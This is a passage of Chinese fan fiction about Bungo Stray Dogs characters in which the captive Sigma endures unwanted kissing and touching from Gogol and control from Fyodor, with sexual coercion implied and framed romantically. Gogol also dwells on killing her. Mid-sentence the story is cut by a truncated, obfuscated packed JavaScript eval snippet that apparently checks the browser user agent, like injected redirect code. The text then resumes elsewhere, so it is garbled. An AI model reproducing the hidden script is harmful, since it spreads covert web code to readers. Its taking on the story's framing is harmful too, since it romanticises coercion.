而现在,她拥有了名字,拥有了身份,却像一株被连根拔起的植物,被强行移植到这片名为“天人五衰”的沼泽里,根系泡在毒汁中,每一次呼吸都带着腐烂的气息。 果戈里的笑声还在耳边回荡,带着孩童般的天真与残忍。 西格玛缓缓闭上眼,将眼底最后一丝未被麻木吞噬的绝望,连同那点微弱的、不该有的期盼,一同深埋进心底最黑暗的角落。 她不再发抖,身体像被抽走了所有力气,软得像一滩死水。 “是吗。” 西格玛听见自己的声音响起,平静得没有一丝波澜,仿佛在谈论别人的事情,“那真是……太好了。” 这三个字轻飘飘的,落在空气里,却让果戈里眼底的疯狂骤然一顿。 他微微直起身,那双总是盛满戏谑与疯癫的眼眸里,第一次清晰地映出了西格玛的身影。 她垂着眼睫,眼底一片死寂的漠然,没有恐惧,没有抗拒,甚至连一丝波澜都没有,仿佛刚才的颤抖、刚才的泪水,都只是他的错觉。 果戈里的指尖轻轻摩挲着她的下颌线,冰凉的触感让西格玛的睫毛几不可察地颤了颤,却依旧没有抬头。 他忽然低低地笑了起来,这一次的笑声里,少了几分刻意的疯狂,多了一种近乎惊喜的玩味。 “太好了?”他重复着这三个字,指尖微微用力,迫使西格玛抬起头,看着他眼底翻涌的兴味,“西格玛,你好像……和以前不一样了。” 果戈里凑近她,鼻尖蹭过她的鼻尖,呼吸里的雪气混着一种近乎偏执的占有欲,将她牢牢包裹。 “你不再默默落泪,也不再瑟瑟发抖了。”他的声音压得极低,带着一种奇异的温柔,却藏着不容错辨的掌控欲,“这样的你,真的很有意思。” 果戈里的唇瓣轻轻贴在她的唇角,不像刚才那般蛮横掠夺,只是带着一种近乎虔诚的轻吻,像在珍视一件失而复得的珍宝。 他的手臂收得更紧,将她整个人圈在自己怀里,仿佛要将她揉进骨血里,成为自己的一部分。 西格玛闭上眼,任由他的吻落在自己的眼睑、额头、唇角,任由那带着占有欲的气息将自己彻底淹没。 她能清晰地感受到他眼底翻涌的兴奋,感受到他因为她的“顺从”而产生的新鲜感,而这一切,都只让她觉得刺骨的冰冷。 原来,连她的麻木,都能成为他们取乐的理由。 窗外的雪还在簌簌落着,大片大片的雪花扑在玻璃上,转瞬便消融成水,像一道道无声的泪痕。 纵使心底早已被麻木与痛苦填满,一切仍在继续。 继续着这被当作玩物的日子,继续着这在刀尖上行走的生活,继续着对米哈伊尔的愧疚与牵挂,也继续着心底那点连自己都不愿承认的、微弱的期盼。 期盼着这场荒诞的游戏能有落幕的一天,期盼着能有一束光,真正照亮她这片荒芜的沙漠。 可这期盼太过渺茫,就像雪夜里的萤火,风一吹便会熄灭,只能被她小心翼翼的藏在心底。 西格玛缓缓睁开眼,眼底的麻木褪去片刻,只剩下深不见底的疲惫。 她抬手,轻轻推开了果戈里环在自己腰间的手臂,动作平静得没有一丝波澜。 “我该去看看米哈伊尔了。” 西格玛的声音依旧平稳,仿佛刚才的亲昵从未发生过。 这是她第一次打断果戈里的行为。 果戈里没有阻拦,只是饶有兴致地看着她起身,看着她整理好凌乱的衣衫,看着她走向婴儿床时,无意识轻颤的指尖。 还是在害怕,不是吗? 即使这么害怕,还是做出了反抗呢。 果戈里靠在椅背上,指尖轻轻敲击着桌面,眼底的疯癫与占有欲交织在一起,凝成一种近乎诡异的痴迷。 “去吧,”他低低地笑了,“我等你回来。” 这句话像一句魔咒,轻飘飘地落在空气里,却让西格玛的脚步顿了顿。 她没有回头,只是迈着沉重的步伐,一步步走向那个小小的、承载着她所有念想的婴儿床。 米哈伊尔已经睡着了,小小的脸蛋皱着,像一只安静的小猫。 西格玛蹲下身,轻轻握住孩子温热的小手,指尖传来的温度,是这冰冷的房间里唯一的暖意。 她看着孩子安睡的面容,眼底终于泛起一丝极淡的、属于母亲的温柔。 为了他,她必须撑下去。 哪怕内心早已麻木,哪怕每一次呼吸都带着痛苦,哪怕这场永无止境的折磨还要持续很久很久,她都必须撑下去。 窗外的雪依旧没有停,夜色像一张巨大的网,将这座牢笼牢牢笼罩。 西格玛轻轻吻了吻孩子的额头,缓缓站起身,转身看向不远处那个带着疯癫笑意的男人。 她的眼底重新覆上一层麻木的冰霜,像一尊没有灵魂的人偶,一步步走回那张冰冷的办公桌前。 屋外的雪刮的更大了些,吹在窗上发出嗖嗖声,和衣服掉落的声音交织在一起。 这场以痛苦为底色的剧目,还在继续。 而西格玛,只能做一个沉默的演员。 在既定的剧本里,重复着早已麻木的台词,直到剧目终章。 6. 洗礼 雪停了,冬日的天光淡薄得像一层纱,笼着东正教堂尖顶的十字架。 风卷着雪沫掠过彩绘玻璃窗,发出细碎的声响。 费奥多尔牵着西格玛的手站在教堂门前,指尖的温度凉得像冰。 西格玛怀里抱着襁褓中的米哈伊尔,小家伙裹着绣着暗纹的白缎襁褓,睡得安稳,呼吸轻浅得像羽毛。 今天是米哈伊尔降生的第四十日,按东正教的规矩,该是他被领入教会、蒙神赐福的日子。 推开沉重的木门,檀香与烛火的气息扑面而来,氤氲着肃穆的暖意。 神父穿着金边黑袍等候在圣水池旁,而站在神父身侧的,是一身黑色大衣的果戈里。 他难得卸下了标志性的白色礼帽与遮眼的面具,翠绿色的右眼露了出来,银白的辫子垂落肩头,脸上漾着几分孩子气的兴奋。 看见他们进来,立刻挥了挥手,声音里满是雀跃:“费佳!西格玛!你们可算来啦!” 他快步走上前,目光落在西格玛怀里的米哈伊尔身上,眼底的疯癫淡了些,多了几分新奇的温柔。 果戈里小心翼翼地伸出手,轻轻碰了碰孩子的脸颊,指尖的温度透过襁褓传过去,惹得米哈伊尔咂了咂嘴。 他是米哈伊尔的教父,这是费奥多尔亲自定下的。 “教父。”费奥多尔淡淡开口,语气里带着一丝不易察觉的笑意,“准备好了吗?” “当然!”果戈里挺直脊背,像是在完成什么盛大的仪式,“我可是等这一天很久了!” 西格玛的脚步有些发沉,她低头看着怀中孩子恬静的睡颜,指尖微微发颤。 费奥多尔察觉到她的不安,侧过头,用只有两人能听见的声音低语:“别害怕,这是神的旨意。” 他的声音温柔,却带着不容置疑的力量,像一张细密的网,将她牢牢困住,连一丝挣扎的余地都没有。 仪式开始了。 神父手捧圣水,用手指轻轻蘸了一点,依次点在米哈伊尔的额头、胸口与双肩,口中吟诵着古老的祷文,语调庄严而绵长。 圣水微凉,惊醒了熟睡的孩子。他瘪了瘪嘴,发出一声软糯的哼唧,却没有哭,只是睁着一双朦胧的紫罗兰色眼眸,好奇地望着眼前晃动的烛火。 西格玛下意识地抱紧了他,眼眶微微泛红,心底五味杂陈。 她不知道这样的仪式对孩子来说意味着什么,只知道这是费奥多尔的决定,是她无法抗拒的宿命。 果戈里站在一旁,目光一瞬不瞬地看着,脸上的笑容渐渐收敛,竟透出几分难得的肃穆。 按照东正教的习俗,教父要在仪式中协助神父,守护新生儿完成入教的全过程。 等到神父诵完祷文,他便上前一步,恭敬地从神父手中接过一支点燃的白蜡烛。 这蜡烛象征着基督的光芒,要由教父亲手捧着,照亮新生儿前行的路。 烛火跳跃在果戈里眼底,映出几分疯狂的温柔。 当神父举起圣经,宣布米哈伊尔正式成为东正教徒时,果戈里忽然抬手,从大衣内兜里掏出一个小小的银质十字架,十字架的吊坠上刻着东正教的十字纹样,泛着冷冽的光泽。 他小心翼翼地将项链展开,轻轻挂在了孩子的脖颈上,动作轻柔得不像他平日里的作风。 果戈里低头看着襁褓里的婴儿,用指尖轻轻碰了碰孩子的脸颊,轻声笑道:“欢迎来到这个世界,小米沙。” “这是礼物。”他弯下腰,凑到米哈伊尔耳边,声音压得很低,带着一丝诡谲的温柔,“要好好长大啊,小米沙。等你长大了,我们一起……去做有趣的事。 西格玛的心猛地一沉,下意识地后退了一步。 费奥多尔适时地握住了她的手腕,抬眸看向果戈里。 眼神交汇的瞬间,两人眼底都闪过一丝默契的光芒,像暗夜里悄然合拢的蛛网。 费奥多尔轻轻拍了拍西格玛的后背,声音依旧温和:“别担心,果戈里会是个好教父的。” 神父的祷文还在继续,烛火在穿堂风里摇曳,将三人的影子拉得很长很长,投在冰冷的地砖上,扭曲成难以分辨的形状。 西格玛低头看着怀里的孩子,看着他脖颈上那个闪闪发光的十字架,只觉得那十字架像一道无形的枷锁,从这一刻起,就牢牢地套在了米哈伊尔的身上。 费奥多尔抬手,轻轻抚摸着西格玛的发顶,声音里带着一种近乎悲悯的虔诚:“从此,他便归于主的荣光之下,也归于我们之中。” 教堂的穹顶很高,阳光透过彩绘玻璃洒落,碎成一片斑驳的光影,落在十字架上,泛着冰冷的光。 雪不知何时又下了起来。 簌簌的落雪声隔着厚重的墙壁传来,细碎得像一声叹息。 西格玛闭上眼,听见费奥多尔在她耳边轻声说:“从今天起,他就是上帝的孩子了。” 可她分明听见的,是命运的齿轮,开始缓缓转动的声音。 离开教堂时,雪又下得密了些。 细碎的雪沫扑在西格玛的睫毛上,凉丝丝的,眨眼间便融成了湿痕。 费奥多尔撑着一把黑伞,伞面堪堪遮住他与西格玛。 米哈伊尔在襁褓里睡得安稳,被西格玛紧紧护在怀里,银质的十字架贴着缎面襁褓,在雪光里泛着冷亮的光。 费奥多尔抬手替西格玛拂去发间的雪粒,指尖的凉意触到她的耳廓,惹得她微微一颤,抱着孩子的手臂不自觉地收紧。 果戈里跟在身侧,指尖漫不经心地转着那支备用的银质十字架链子,链环碰撞出细碎的轻响。 方才在教堂里的肃穆早已褪去,眼底又漫上了熟悉的疯癫笑意,像暗火般灼灼跳动。 “费佳,”他忽然开口,声音被风雪揉得有些模糊,却带着清晰的玩味,“小米沙的眼睛,和你一模一样呢。” 他顿了顿,脚步加快半步,目光扫过西格玛紧绷的侧脸,笑意更深:“费佳,你说,小米沙长大以后,会是个什么样的孩子?会像你一样,看透这世间的虚妄,还是……” 尾音拖得悠长,果戈里故意停顿,看着西格玛瞬间泛白的侧脸,才慢悠悠地补全后半句:“还是会像他的母亲一样,被温柔困住,成为笼中最漂亮的那只鸟?” 西格玛的脚步猛地一顿,指尖攥得更紧,几乎要嵌进襁褓的布料里。 费奥多尔脚步未停,目光落在前方被雪染白的石板路上,语气平淡得听不出情绪:“他会是个好孩子。 “好孩子?”果戈里低低地笑了,上前一步与他并肩而行,声音里满是蛊惑,“不,费佳,他会是我们的好孩子。等他长大,我们可以带他去看遍这个世界的‘有趣’,那些挣扎,那些绝望,那些……” 他的话没说完,却带着令人不寒而栗的暗示。 西格玛抱着孩子的手臂紧了紧,脚步下意识地往费奥多尔身边靠了靠,垂着的眼眸里满是不安,长长的睫毛剧烈地颤抖着,像受惊的蝶翼。 费奥多尔侧过头,看了一眼果戈里,嘴角勾起一抹极淡的弧度,那笑意未达眼底:“别急,尼古莱。” 他抬手,再次轻轻拂去西格玛发间新落的雪,指尖的凉意让她又是一颤,声音轻得像雪落在地上:“上帝的安排,总是需要时间的。” “而我们,有的是耐心。” 果戈里眨了眨眼,随即爆发出一阵畅快的大笑,笑声在空旷的街道上回荡,惊飞了枝头栖息的寒鸦。 寒鸦扑棱着翅膀掠过天空,留下几声嘶哑的啼鸣。 他猛地张开双臂,像是在拥抱这场漫天风雪,疯癫的笑声里满是期待:“说得对!我等不及要看啦,等小米沙长大,我们的游戏,一定会更精彩!” 雪越下越大,将三人的身影慢慢吞没,只留下一串深浅不一的脚印,很快又被新雪覆盖,了无痕迹。 —————— 洗礼结束,一行人回到隐蔽的安全屋。 窗外的雪还在簌簌落着,屋内暖炉烧得正旺,将寒意料峭尽数隔绝在外。 西格玛小心翼翼地解下米哈伊尔脖颈上的银质十字架。 孩子实在太小,细软的脖颈经不起半点硌碰。她指尖抚过那冰凉的银链,十字架上的纹路硌着掌心,像一道无声的烙印。 犹豫片刻,西格玛将项链收进了床头柜的抽屉深处,仿佛这样就能暂时隔绝那些缠绕在孩子身上的、沉甸甸的宿命。 西格玛抱着襁褓中的米哈伊尔,轻轻将他放进铺着柔软毛毯的婴儿床里。 小家伙大概是在教堂里耗光了力气,此刻眼皮半睁半合,长而密的睫毛像两把小扇子,在眼下投出浅浅的阴影。 西格玛坐在床边的软垫上,从一旁的置物架上拿起一只小巧的手摇铃。铃身是温润的木质,缀着几颗彩色的小圆珠,轻轻一晃,便发出清脆悦耳的叮咚声。 “米莎,米莎。” 她微微俯身,声音柔得像化开的蜜糖,目光一瞬不瞬地凝望着婴儿床里的小家伙。 指尖轻轻晃动着手摇铃,彩珠碰撞的声响在安静的房间里漾开,像一串细碎的星子坠落。 米哈伊尔似乎被这声音吸引,原本半阖的眼睛微微睁大,露出一双和费奥多尔如出一辙的紫罗兰色眼眸,懵懂地望着眼前的西格玛。 他小小的手动了动,像是想要抓住那只晃动的摇铃。 西格玛的心瞬间软成一滩水,晃动摇铃的动作更轻了些。 那些从育儿书籍上看来的亲子互动,她全都认认真真地记在心里,一字一句,一招一式,都反复琢磨过。 她没有过完整的童年,更不知道何为“父母子女”,可面对米哈伊尔时,她总想把自己从未拥有过的温柔,尽数捧到这个孩子面前。 她又轻声唤了几声“米莎”,指尖轻轻碰了碰孩子温热的掌心,看着那小小的手指下意识地蜷缩起来,攥住了她的指尖,眼底漫过一层细碎的柔光。 暖炉的火光跳跃着,将西格玛的身影拉得很长,落在婴儿床的床沿上,安静而温柔。 没一会儿,米哈伊尔就玩累了,小脑袋歪在柔软的枕头上,长长的睫毛在眼下投出浅浅的阴影,呼吸均匀绵长,早已闭上眼沉沉睡去。 西格玛坐在床边的软垫上,手肘撑着膝盖,掌心轻轻悬在孩子的脸颊上方,却不敢真的触碰。 她就那样静静地看着,看着米哈伊尔肉乎乎的脸蛋,看着他嘴角无意识漾开的软乎乎的笑意,心底漫过一片难得的安宁。 壁炉里木柴噼啪作响,窗外的风雪声被隔绝在外,这一刻的静谧,像是偷来的珍宝。 可这样的时光,终究短暂得像泡沫。 身后传来极轻的脚步声,轻得几乎融进壁炉的声响里,不等西格玛回头,一双手臂便猝不及防地揽住了她的腰。 果戈里又换回了原来的装束,他的声音带着惯有的、漫不经心的笑意,贴着西格玛的耳畔响起:“嗯?我送给米莎的十字架呢?” 西格玛的身体瞬间僵住,脊背绷得笔直,指尖微微蜷缩。 无论多少次,她都无法习惯他的触碰。 那触感里总掺着几分疯癫的侵略性,像毒蛇吐信时擦过皮肤的凉意。 西格玛垂着眼,声音轻得像羽毛:“米沙太小了,现在带不了项链。” “啊,真可惜。”果戈里拖长了语调,语气里满是惋惜,可环在她腰间的手却一点没停,反而收紧了些,指腹甚至带着几分玩味,轻轻摩挲着她的腰侧。 他的银白辫子垂落下来,扫过西格玛的肩头,带来一阵微凉的痒意,眼底翻涌着她看不懂的疯癫与算计,“我还想着,那十字架衬小米沙的眼睛,一定很好看呢。” 西格玛的心猛地一沉,脑海里瞬间浮现出米哈伊尔那双与费奥多尔如出一辙的紫罗兰色眼眸。 那抹色彩,早已和掠夺、掌控、无尽的恐惧牢牢绑定,像一根淬了冰的针,猝不及防扎进心底最柔软的地方。 方才因孩子安稳睡颜而生的那点柔软,瞬间被深入骨髓的寒意彻底覆盖,连四肢百骸都泛起冷意。 掌心的温度一点点褪去,只剩下攥紧布料的僵硬。 西格玛垂着眼,长长的睫毛剧烈地颤抖着,眼底残存的温情被惶恐与无力尽数取代。 她连呼吸都放得极轻,生怕惊扰了床中熟睡的孩子,更怕泄露了自己心底翻涌的不安。 那枚被她藏在抽屉深处的银质十字架,此刻仿佛在灼烧着她的灵魂。 果戈里的话、费奥多尔的眼神、米哈伊尔那双懵懂的眼眸交织在一起,织成一张密不透风的网,将她死死困在其中。 果戈里敏锐地察觉到她身体的僵硬,还有那骤然冷下去的气息,环在她腰间的手顿了顿,随即勾起一抹疯癫又玩味的笑。 他俯下身,温热的气息贴着她的耳廓,声音压得极低,带着几分刻意的蛊惑:“怎么了,西格玛?是想到了费佳吗?” 他指尖轻轻摩挲着她腰侧的布料,语气里的笑意愈发浓烈,眼底的疯癫却丝毫不减:“小米沙的眼睛多漂亮啊,和费佳一样,又和你一样柔软,这样的孩子,才配得上那枚十字架,才配得上我们的期待,不是吗?” 西格玛没有回头,也没有说话,只是垂着眼,目光落在米哈伊尔熟睡的脸上,眼神空洞得像结了冰的湖面。 她太清楚了,果戈里口中的“期待”,从来都不是对一个孩子的温柔期许,而是和费奥多尔一样,将米哈伊尔视作棋局里的一枚棋子,视作他们所谓“自由”与“净化”计划里的一部分。 也知道,无论自己怎么抗拒,怎么祈求,都逃不出他们编织的网。 米哈伊尔的眼眸是费奥多尔的影子,果戈里的触碰是无法摆脱的枷锁,而她,不过是这场棋局里,随时可以抛弃的棋子。 “别这样紧绷着呀。”果戈里低低地笑了起来,笑声里带着几分戏谑,几分疯狂,“小米沙可是我们共同的‘宝贝’,你该开心才对。” 他的手缓缓上移,轻轻抚过她的发顶,动作看似温柔,却带着不容置疑的掌控力。 西格玛的肩膀微微颤抖着,心底的寒冷越来越重,几乎要将她冻僵。 她多想抱起米哈伊尔离开这里,多想逃离这一切,可她什么也做不了。 只能任由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这语气算不上严厉,却让果戈里眼底的疯癫彻底敛去,他耸耸肩,摊开手,带着几分无辜的笑意:“我只是在和她聊孩子而已,费佳,你太紧张了。” “米哈伊尔需要安静。”费奥多尔的目光重新落回婴儿床,声音里多了几分不易察觉的凝重,“还有,十字架暂时由西格玛保管就好,不必急于一时。” 他的目光扫过床头柜的抽屉,像是早已知道十字架被藏在那里,“我们的计划,从来都不缺耐心。” 费奥多尔的话像是一种无声的宣告,既制止了果戈里的纠缠,也给了西格玛一丝喘息的空间。 西格玛垂着眼,能感觉到头顶那道目光的重量,还有腰间残留的果戈里触碰的不适感。 费奥多尔的指尖依旧停留在西格玛的头顶。 西格玛低垂着眼眸,长长的睫毛掩住眼底翻涌的情绪,默默地想。 只不过换了一个人,折磨自己罢了。 果戈里挑了挑眉,目光在费奥多尔平静的侧脸与西格玛紧绷的脊背间转了一圈。 他太清楚了,费奥多尔看似温和的指尖,实则是比锁链更牢固的掌控。 西格玛的恐惧、顺从,甚至那点徒劳的挣扎,从来都在费奥多尔的意料之中。 自己刚才那些带着侵略性的戏谑,不过是在费奥多尔布好的网里,添了点无关紧要的波澜。 这份了然让他瞬间没了兴致,眼底的疯癫笑意淡了大半。 果戈里撇撇嘴,银白的辫子随着动作晃了晃,眼底最后一点兴味也消散殆尽。 “啧,真没意思——”他拉长了语调,懒洋洋地转身,脚步轻快地往门口走,“既然费佳都这么说了,那我就不打扰你们啦。” 走到门边时,果戈里忽然回头,冲西格玛眨了眨眼,留下一句带着戏谑的话,“记得好好保管那枚十字架哦,西格玛,我们可都很期待小米沙长大的样子呢。” 木门被带上,发出一声轻响,彻底隔绝了果戈里的气息。 室内的空气安静得可怕,只剩下壁炉里木柴噼啪作响的声音。 费奥多尔的指尖依旧停留在西格玛的发顶,片刻后,他缓缓俯身,骨节分明的手指轻轻抚上她的脸颊。 那指尖带着室外寒气,触感微凉,动作轻柔得不像话,却让西格玛浑身的汗毛都竖了起来。 她猛地偏头,想要躲开这触碰。 这是西格玛第一次如此直白地反抗费奥多尔,她别过脸,用苍白的侧脸面对着费奥多尔的目光,眼底翻涌着不加掩饰的恐惧。 可心脏却没有半分反抗后的轻松,反而像被一只无形的手攥紧。 在她眼里,果戈里的疯癫与侵略性,像一把明晃晃的刀,尖锐、直接,带着呼啸的恶意。 可费奥多尔的温柔,却像一条蛰伏的毒蛇,悄无声息地缠绕上来,带着致命的蛊惑与掌控,比果戈里的逼迫更让她窒息。 前者的伤害是皮肉上的刺痛,后者的掌控,却是深入骨髓的绝望。 费奥多尔的指尖落空,也不恼,只是垂眸看着她,紫罗兰色的眼眸平静无波,像深不见底的寒潭。 西格玛死死咬着下唇,目光落在婴儿床里熟睡的米哈伊尔身上。 那孩子的眉眼舒展开来,鼻梁挺直,唇角微抿,像极了费奥多尔的翻版。 尤其是那双紧闭的眼睛,她几乎能清晰地想象出,里面藏着怎样一双与费奥多尔如出一辙的、淬着算计与漠然的紫罗兰色眼眸。 一阵尖锐的痛苦猛地攫住了她的心脏。 是她,是她亲手将这个孩子带到了这个地狱。 是她,让米哈伊尔从降生的那一刻起,就被打上了宿命的烙印,成了他们棋盘上的一枚棋子。 她甚至会因为孩子与父亲相似的眉眼而感到恐惧,会在孩子熟睡时,下意识地避开那双紧闭的眼睛。 她怕,怕那双眼睛睁开时,映出的是费奥多尔的影子,怕这个柔软的小生命,终有一天会变成和他们一样的人。 这份恐惧与愧疚交织在一起,像一把钝刀,反复切割着她的五脏六腑。 “别害怕。”费奥多尔的声音再次响起,他抬手,指尖轻触西格玛的眉间,想要抚平她紧蹙的眉头,“米沙会平安长大的。” 指尖擦过皮肤的触感,在西格玛的感知里,却像冰冷滑腻的蛇鳞,带着黏腻的寒意,一路蜿蜒爬过她的全身,让她控制不住地想要战栗。 可这句轻飘飘的安慰,却像滚烫的烙铁,狠狠烫在西格玛的心上。 平安?在他们编织的网里,在这场名为“计划”的棋局里,哪里会有什么平安? 她看着费奥多尔平静的脸,只觉得一阵彻骨的寒意从脚底蔓延到四肢百骸。 他的安慰,比果戈里的戏谑更让她痛苦,比精神上遭受的折磨更让她绝望。 暖炉的火光依旧跳跃,将两人的影子拉得很长很长。 落在婴儿床的床沿上,像一道无形的枷锁,牢牢地困住了她,也困住了床榻上那个一无所知的孩子。 7. 困笼 今天是果戈里和西格玛第一次见面的日子。 房间里飘着奶油甜腻的香气,果戈里捧着一盘精致的蛋糕站在床边,银白的发丝衬得那双总是含着笑意的眼睛,亮得像揉碎了的月光。 他往前凑了凑,语气里满是藏不住的兴奋,像个得到心爱玩具的孩子,眼睛弯成了好看的弧度:“西格玛,你看——今天可是我们第一次见面的纪念日呀!” 已经过了一年了吗? 西格玛愣了愣,看着眼前的蛋糕。 蛋糕上缀着新鲜的莓果,奶油裱花歪歪扭扭的,带着几分孩子气的笨拙,却看得出来,是花了心思的。 ……是他亲自做的吗……为什么? 西格玛坐在床沿,指尖攥着衣角,垂着眼睫看着那块蛋糕,眼底满是茫然。 算起来,自己诞生在这个世界,已经整整两年了。 第一年,是无边无际的沙漠,烈日灼烧着皮肤,风沙灌满口鼻,孤独像藤蔓一样缠绕着她,不知道自己是谁,不知道要去往何方,只是在荒芜中漫无目的地跋涉,连呼吸都带着沙砾的粗糙痛感。 后来她被路过的奴隶商队绑走,原以为的生机,成了另一场噩梦的开端。 他们发现了她身上潜藏的异能,冰冷的金属手铐锁住了她的手腕,磨得皮肤通红溃烂。 她成了被随意驱使的工具,被奴隶,被利用,当毫无价值时,他们会把她随意交易,或是对她下杀手。 那些人只把她当作有利用价值的器物,从未有人在意她的想法,也从未有人在意过她的伤痛,手铐的重量日复一日压在腕间,伤痕层层叠加。 那时的西格玛从未放弃过逃跑,哪怕一次又一次的被抓到,一次又一次的鞭刑,一次又一次的殴打。 第二年,在逃跑的过程中,她遇见了遇见了费奥多尔,而后又见到了果戈里,可这所谓的“相遇”,不过是从一片荒芜,跌入了另一个精致的囚笼。 是被禁锢的惶惑,是身不由己的妥协,是无数个夜晚的辗转难眠,是看着窗外月亮时,依旧挥之不去的漂泊感。 而这次,她连逃跑都做不到。 这样的两年,这样的开端,有什么值得庆祝的呢? 西格玛被果戈里推着,拿起小勺挖了一口奶油送进嘴里。 甜腻的味道在舌尖炸开,甜得有些发齁,却又带着一丝莫名的暖意,顺着喉咙往下滑。 果戈里看着她的模样,低低地笑了起来,笑声清悦,像风铃在风中摇晃。 西格玛的心却沉了下去。 她又开始想,果戈里到底想从自己身上索取什么。 费奥多尔想要的,是她的能力,是她的顺从,是她能为“天人五衰”带来的价值。 那果戈里呢?他看似漫不经心,看似随心所欲,可眼底深处藏着的东西,她看不懂。 索取,索取……他们从自己身上得到的东西,还不够吗? 她不过是一个一无所有的人,没有过去,没有归宿,连自己的存在都像是一场虚幻。 除了自己的异能,自己的身体。 她没有任何值得被觊觎的东西,所以她给不了。 她没有办法给予对方,自己根本没有的东西啊—— 果戈里就这样静静的看着西格玛,眼中燃烧着火焰。 西格玛不明白,为什么他们都要这样盯着她。 果戈里也好,费奥多尔也罢,他们的目光是一样的。 像盯着一块即将到手的猎物,非要从她身上,榨取出点什么不可。 果戈里看着她蹙起的眉尖,看着她眼底翻涌的困惑与疏离,脸上的笑意淡了些,嘴角却依旧弯着,只是那笑意里,掺了几分说不清道不明的苦涩。 他当然知道西格玛不明白。 在她眼里,所有的好意都带着目的,所有的靠近都藏着算计。 她被伤得太深,连一丝纯粹的温柔,都不敢轻易接纳。 既然如此—— 果戈里俯身,指尖轻轻捏住她的下巴,迫使她抬起头。 他的动作很轻,没有半分强迫的意味,眼底的戏谑散去,只剩下一片浓稠的、化不开的情绪。 “西格玛,”他轻声说,声音低得像耳语,“我向你索一个吻,好不好?” 不等西格玛反应,他的唇便落了下来。带着蛋糕奶油的甜味,轻轻贴在她的唇上。 柔软的,温热的,带着几分小心翼翼的试探。 果戈里在心里默念。 没关系的,西格玛。 这句话,是对她说的,也是对自己说的。 就当我对你别有所谋吧。 就当我和费奥多尔一样,只是想从你身上,得到点什么。 这样,你会不会就不会那么抗拒了? 他所求的,从来不是她的能力,不是她的价值,不是那些冷冰冰的、可以被衡量的东西。 他所求的,是她的爱呀,西格玛。 这个念头像一颗种子,在心底疯狂地生根发芽,瞬间便长成了参天大树。 果戈里加深了这个吻。 唇齿相依间,奶油的甜味愈发浓郁。他的心底却涌上一股汹涌的、近乎疯狂的念头。 他一向追求极致的自由,厌恶一切束缚。可如今,他却心甘情愿地,被一份名为“西格玛”的感情,牢牢困住。 被感情约束,是不自由的。 那自己应该做什么呢?是挣脱这份束缚,还是……将这份不自由,牢牢地攥在手里? 果戈里不知道。 他只知道,此刻,他只想亲吻她。 只想将这个茫然无措的、脆弱易碎的西格玛,完完全全地,拥入怀中。 心底翻涌的执念几乎要将他溺毙,唇齿相贴的触感柔软得让他舍不得松开。 可那根名为“自由”的弦,却在欢愉里绷得越来越紧,尖锐地刺痛着神经。 情感的束缚是不自由的。 这个念头像淬了毒的冰碴子,再次狠狠扎进他混沌的颅腔,搅得他太阳穴突突直跳。 是西格玛,是这个眼睫湿漉漉、连呼吸都带着甜软的人,是她把他的自由攥成了一团皱巴巴的废纸。 杀了她。 疯狂的嘶吼在脑海里炸开,带着血腥气的热浪席卷了所有理智。 ——杀了她,就能斩断这该死的羁绊,就能重新飞回没有枷锁的高空。 果戈里垂在身侧的手猛地蜷缩起来,指节攥得发白。 银白的眼睫重重垂下,将眼底翻涌的癫狂与猩红尽数遮盖。 不不不—— 下一个念头撞得他耳膜生疼,带着惶恐的、近乎哀求的力道,硬生生撕碎了那点杀意。 不能杀死西格玛。 他会后悔的,他一定会后悔的。 这个念头像溺水者抓住的浮木,死死钉在果戈里混乱的思绪里。 他太清楚了,只要他愿意,西格玛甚至不会反抗。 她只会睁着那双茫然的、干净的眼睛看着他,直到最后一刻,或许都不会明白他为什么要这么做。 或许还会因为这突如其来的终结,露出一丝几不可察的轻松。 像卸下了某种无形的重担,像摆脱了一段让她疲惫的纠缠,为此而感到解脱。 果戈里清楚,自己这份带着疯狂与偏执的靠近,对她而言从来都不是慰藉,而是无形的压力。 她的茫然里藏着怯懦,干净的眼底裹着疏离,或许从始至终,他的存在对她都是一种困扰。 若真要动手,她不会反抗,甚至可能在最后一刻,因为不必再面对他的试探、他的矛盾、他那份连自己都无法掌控的汹涌情绪,而悄悄松一口气。 果戈里一直都清楚,一直都明白。 他对她的这点心思,对她而言从来都不是救赎,不是慰藉,是沉甸甸的、勒得人喘不过气的折磨。 死亡会让她得到自由吧? 这个念头刚冒出来,就被他恶狠狠地掐灭,喉咙里涌上一股腥甜的戾气。 那才不是自由呢! 他近乎歇斯底里地在心里咆哮。 死了算什么自由? 冰冷的,寂静的,连蛋糕奶油的甜味都闻不到的,算什么自由? 他要的不是这个,他要的是她活着,是她带着这份茫然,带着这份不知所措,永远留在他能看到的地方。 哪怕这份存在,会把他的自由碾得粉身碎骨。 自由意志杀不死爱的感觉。 唇齿间的奶油甜味还未散尽,亲吻的温度仍残留在肌肤上。 果戈里却突然猛地后退一步,力道之大让他银白的发丝都随之晃动。 他垂眸看着西格玛,她还陷在方才的怔忪里,胸口微微起伏,喘息带着未散的甜意,眼睫湿漉漉地颤动,像被雨水打湿的蝶翼。 可此刻的果戈里,脸上早已没了半分方才的缱绻与温柔,平日里总是含着笑意的眼睛,此刻像结了冰的湖面。 冷得没有一丝波澜,那份罕见的冷漠,像一层坚硬的壳,将所有柔软都彻底包裹。 他盯着她泛红的眼尾,心底有个声音疯狂叫嚣——他喜欢西格玛。 喜欢她茫然无措时的眼神,喜欢她被触碰时轻颤的睫毛,喜欢她身上那股脆弱又坚韧的味道。 可下一秒,另一个念头便凶狠地将这份喜欢撕碎——不,他不喜欢西格玛。 喜欢是枷锁,是软肋,是将他毕生追求的自由碾得粉碎的利刃。 他怎么能喜欢?他不能。 短暂的柔情如同潮水般退去,心底翻涌的,是更疯狂、更扭曲的念头。 矛盾的情绪在果戈里心中翻涌。 他渴望得到西格玛的爱,那份执念像藤蔓般死死缠绕着心脏,让他甘愿沉沦。 可他又怕得到,怕这份爱会成为束缚他自由的枷锁,怕自己从此再也无法挣脱。 更怕有朝一日,西格玛会将这份爱分给别人。 分给那个总是一副掌控一切模样的费奥多尔。 所以,他不想让西格玛明白爱,也不想让她知道爱。 就让她永远停留在这份茫然里,永远对他的心思一无所知,永远只将他的靠近当作带有目的的索取,这样或许更好。 